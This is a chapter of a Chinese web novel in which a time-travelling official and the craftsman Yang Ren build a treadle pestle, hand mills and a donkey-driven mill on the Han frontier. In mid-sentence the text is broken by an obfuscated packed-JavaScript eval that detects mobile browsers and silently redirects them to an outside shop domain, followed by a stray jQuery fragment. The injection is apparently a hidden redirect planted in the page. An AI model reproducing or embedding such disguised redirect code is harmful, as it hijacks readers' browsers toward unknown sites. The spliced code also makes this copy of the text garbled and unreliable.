署里流言不少,说来说去都是质疑这少年佐吏的血统,总觉得非我族类,其心必异。可随着杨任与他接触,只觉得大汉有此少年,实在是一大幸事。
梁晏:“谈不上奇妙,就是平日里写写画画胡思乱想来的,能不能成功我也不知道,还是要做出来试试才知道。”
他话虽这么说,但杨任知道,做出来肯定比现在的农具好用。
“郎君,石磨耗石耗工,优先试制两架。脚踏碓木料易得,我先领徒弟造出三副,先放在屯田堡公用。下地实操之后,再看哪里不合,再行修整。”
“甚好。”梁晏心中松了一口气,“材料我会吩咐农都尉属吏尽数调拨。切记,两样器具先只在官屯试用,不必大肆宣扬。待到确确实实减轻民力,再慢慢往周边村落传。”
金手指只给了图纸,真正能不能成事,依旧要看工匠的手艺,还要看河西现有的物料能不能撑得住。
他听说杨任从前专职负责皇家制造的,现在被调拨来这鸟不拉屎的边塞之地,也算是武帝对他工作的积极响应。再加上有曲辕犁的成功在前,梁晏现在对杨任的手艺很是放心。
杨任把布帛揣入怀中,当即转身,就要去安排工匠备料开工。工坊之中斧凿之声,眼看又要日夜不绝地响起来。
工期紧,物料却依旧窘迫。石磨需要坚硬砂岩,采石、搬运皆要征调人手。
脚踏碓倒是占尽便利,堡周遭便多有硬木,只石杵、石臼需要石匠雕琢。杨任便分开工匠人手,一部分人开采打磨磨盘,余下的木工优先赶制脚踏碓的木架枢轴。
不过短短五日,三副脚踏碓便率先完工,抬到屯田堡公用的劳作场。
木架粗实厚重,木杠转轴处包上薄铁箍,黝黑的石杵悬在半空,下方深深嵌着石臼。闻讯赶来的妇人们围得满满当当,脸上满是好奇与迟疑。
一名胆子稍大的屯妇上前,依旁人指点,双脚踩住木杠末端。脚下用力一踏,杠杆翘起,沉重的石杵高高扬起,脚掌松开,石杵轰然落下,重重砸进石臼之内。
“咚——”
沉闷的撞击震得地面微微发麻。
不必再高高抡起木杵耗尽臂力,只凭双腿起落,便可反复捶打谷粒。那妇人来回踩踏数十下,气息尚还平稳,不见往日舂谷之后手臂发抖的疲态。
“果真省力!”妇人停下脚,揉了揉大腿,满脸惊叹。
众人立刻轮换上前试做。
往日舂一斗麦子,要壮年妇人耗费大半日,臂膀酸痛抬不起来。如今脚踏碓之下,不消一个时辰,便可将一斗麦粒捶得碎裂。捶过的麦粒倒入细密竹筛,来回颠簸筛扬,粗麦壳被分离出去,能筛出不少细碎麦屑。
只是脚踏碓终究有局限,终究抵不过石磨的碾磨,出不来真正匀细的麦粉。
可对于边地百姓而言,已经是莫大的恩惠。
至少不必再日日忍受举杵舂捣的苦楚,粗碎的麦屑蒸煮之后,也比整粒麦饭适口几分。
劳作场上,终日响起“咚咚”的碓声,和人们低声说笑。
又过八日,第一台小型人力石磨终于凿刻完毕。
粗糙厚重的两扇石盘,被抬到工坊外的空地上。上扇石盘侧边凿出插孔,插上木杆,人握住木杆,便可推动上扇石盘旋转。
有屯田卒取来一斗麦粒,缓缓投入上方的投料孔。
一人握住木杆,咬牙发力,推动石盘缓缓转动。
“轧轧——”石头摩擦发出沉闷粗重的声响。
细碎的麦粉,顺着两扇石盘的缝隙,簌簌流淌落下,铺在下方承接的麻布之上。
围过来看热闹的屯田卒、妇人,都屏住呼吸。
待到一斗麦粒全部碾完,停下转动,麻布之上堆起薄薄一层麦粉。颜色浅黄,虽依旧混杂少许细麸,却远比脚踏碓舂捣得来的麦屑细腻得多。
妇人连忙取来细竹筛,轻轻筛簸。粗麸被筛离出去,余下的细粉,便是真正的面粉。
有人伸手捻起一点细粉,指尖触感细软,满脸难以置信:“这般细……竟是麦子磨出来的?”
杨任擦去手上石屑,走到梁晏身侧低声禀报:“郎君,人力小石磨一户日用尚可。若是要大批量处置官屯的麦子,依旧力有不逮。”
“先如此。”梁晏心中有了个念头,“脚踏碓再多造五副,分派到周边几处屯点,供百姓公用。小石磨暂且只留存两台于堡中官坊。百姓自带麦粒过来,交付少量谷粮作为酬资,便可以借用碓与石磨。两种工具结合,这样既能磨得细,又能省些力,不过就是费时些。”
杨任眼睛一亮,一下就理解了梁晏的意思:“郎君说的对,这样虽然费时些,但若是几家合作,总归利大于弊的。郎君不必多言,此种方法我自会亲自告知邻里。”
杨任觉得梁晏真是好生聪慧,虽说对方算是自己半个上司,但看梁晏的眼神越来越慈爱。
工坊里的人渐渐散去,只剩下杨任带着徒弟收拾石磨周遭散落的麦屑。
方才推磨的两名屯田卒揉着发酸的胳膊,低声说笑,虽是得了细粉,可这一圈圈转动木杆,着实耗损体力。
梁晏站在一旁看在眼里,心中暗暗思索。
回到居所,夜里心神沉入科技面板,农器阁初级之中只有人力石磨的记载,完备的畜力磨依旧是灰蒙蒙一片不可开启。
梁晏可是知道驴拉磨这个词的,也不知道杨任能不能在自己的帮助下改良出适合驴的磨,明天找他问问。
第二日一早,梁晏先是去了一趟官厩。看马的小吏见到梁晏赶忙放下草料赶过来行礼,这位可是大人物,他可不想得罪。
梁晏进来后先是环顾了一周,只见几匹马在厩内吃草,虽然梁晏不懂马,但是光看体型皮毛却也知道,这里的马比不上匈奴部落里的良驹。
“这里可有驴子?”梁晏问。
小吏点了点头,回道:“回佐吏,有是有,不过只有两头。这驴子是西域产物,中原不常见。咱们朔方郡这两头还是早年从匈奴那儿抢来的呢。”说完,不好意思地嘿嘿一笑。
两头就两头吧,有就行。
“行,那你带我去看看。”
梁晏跟着小吏七拐八拐来到官厩后方,那里只有一只灰色的驴子在等待装车。
“佐吏,这便是其中一只,另一只去运货了。”
梁晏点点头,他看这头驴状态还不错,那自己的计划起码可以开始了。
随后他便寻到杨任,将心中想法道出。
“人力推磨虽好,只是耗人气力。我想着,官府厩中有驴,可否另造一合石磨,专门以驴牵引?”
杨任闻言一愣,眉头蹙起:“郎君,石磨历来或是人推,或是郡城大府以牛畜拉动那等巨型磨盘。小型石磨用来驱驴,我不曾见过。石料木架若是配比不妥,极易崩坏。”
“正是要重新做一合,不是用现下这副人推小磨。”梁晏抬手,在布帛之上草草勾画草图,“磨盘要做得比人推的更厚重,磨齿加深。不再用短手推杆,另做一圈长木辕,木辕连接磨盘上扇,驴套缚辕木,绕圈行走带动磨盘。底座加固,石盘安放得稳当,便可规避晃动。”
他脑海中拼凑后世记忆里驴拉磨的结构,把要点一一讲出:“怎么样,可否能行?”
杨任听闻,反复琢磨许久,同时也在桌面上勾勾画画,渐渐领会其中关节:“原来如此,只是这般,石料的耗费便要多出不少。”
梁晏也叹了口气,哀声道:“我何尝不知,这段日子只造这一副,安置在官屯工坊之内,专供官府处理屯田的粮谷,不供给民间。”梁晏说道,“石料从官营采石场支取,工匠也由屯田署调拨。成与不成,先试上一试。”
杨任思索利弊,终于重重点头:“那我便领着石匠、木工,按郎君所说形制
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896686|211796||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
备料凿磨。只是驴本是驮运辎重,并非惯于拉磨,还需寻温顺的官驴来驱使。”
“此事我去同农都尉禀明,调拨一头性情驯顺的官驴过来。”
商议已定,工坊便又分出一部分人手,专门着手打造这唯一一副驴拉石磨。
梁晏也去找农都尉李克秉明,李克听了他说的之后,深深叹了口气。
“梁佐吏,你来朔方不过月余,却让朔方变了不少。今日做个犁,明日做个磨的。但是,你也该知道,此地木石虽算不上匮乏,但也没那么充足,更何况长安调拨的工匠有限……”
梁晏自然知道自己最近折腾出不少动静,估计这农都尉也是一直忍着没说,不过就算他反对也不行,驴拉磨他是一定要做的。
梁晏也叹了口气,换上一副忧愁的神色,“都尉说的我何尝不知,然石磨与边塞农事的意义非凡,此前我做的一切都是为了此地民生,驴拉磨亦是如此。一旦我们实现麦粉自由,无论是对于百姓还是边军都是有利无害啊!”
“麦粉自由……”李克哪里听过这种充满现代色彩的词,他只是慢慢咀嚼回味着。好半天,才无奈道:“罢了罢了,左右不过费些石头。”
李克这边松了口,梁晏自然是马不停蹄地让匠人开工。
大石磨工期比人力小石磨要长,足足耗去十余日。
待到完工之日,整副磨具稳稳安放在工坊的空场。梁晏摸着那新制的石磨,心中感慨,杨任不愧是皇家工匠,不论是手艺、领悟力还是创造力都是一流的。
李克调拨来一头毛色灰褐、性情温驯的官驴,被套上绳索,连在木辕之上。
梁晏认出是那天先见的那头。
周遭不少工匠、屯田的吏卒都围过来看稀奇。此地人人知晓驴多用于驮载货物,但用它来碾磨麦子,却是谁都未曾见过。
“诶?为何要把这驴子眼睛蒙住?”有人问。
梁晏整了整毛驴眼上的布,解释道:“蒙上就不怕晕了,而且也更听话。”
随着士卒轻喝一声,驴缓步迈步,木辕缓缓转动,沉甸甸的上扇磨盘随之运转。麦粒从上方的投料口缓缓落下,细碎的麦粉顺着磨缝簌簌落下,落在底下铺好的麻布上。
没有人力推磨的疲惫,一头驴便可不停歇地碾磨粮谷。一斗又一斗的麦粒,源源不断被碾成麦粉。
围观之人发出一阵低低的惊叹。
杨任蹲下身,抓起一把刚磨出的麦粉,指尖捻过,细看粗细,又俯身查看磨盘转轴,未见晃动开裂,才长长呼出一口气:“竟真的成了。”
梁晏立在人群之后,望着缓缓转圈的驴与转动的石磨。
这一副驴拉磨,只归官坊所有。
民间百姓想要磨粉,依旧只能用脚踏碓,或是那两台人力小石磨。仅凭这一副,还远远不足以惠及所有边地百姓,可官屯大批的军粮加工,总算缓解了一大半压力。
风卷着地上细微的麦麸,在空中轻轻飞扬。
脚踏碓“咚咚”的捶打声,与人磨“轧轧”的轻响,再加上这一副驴拉磨转动的闷响,交织成屯田工坊独有的声响。
屯堡官坊取新得的麦粉,冷水和面,揉成紧实的死面面团,摊薄放在陶釜之上烙制。没有发酵,面饼质地紧实,麦香却滚滚散开,飘出去很远。
不少屯田卒、百姓,还是头一回吃到这般口感的麦食。从前粗粝剌喉的麦饭,一变而成可以手持的面饼。
有老农人咬下一口麦饼,咀嚼许久,不由得长叹一声。世代吃麦饭度日,竟不知麦子还能这般吃食。
消息慢慢向周遭村落扩散,不少百姓心中生出向往,纷纷打听屯堡的碓与石磨。
可石料、硬木、工匠终究有限,不可能一瞬间惠及所有人。
梁晏定下规矩,器具一律官署管控,不允许私人私自占有。村落之间,可以几户相约,轮流来堡中加工粮食。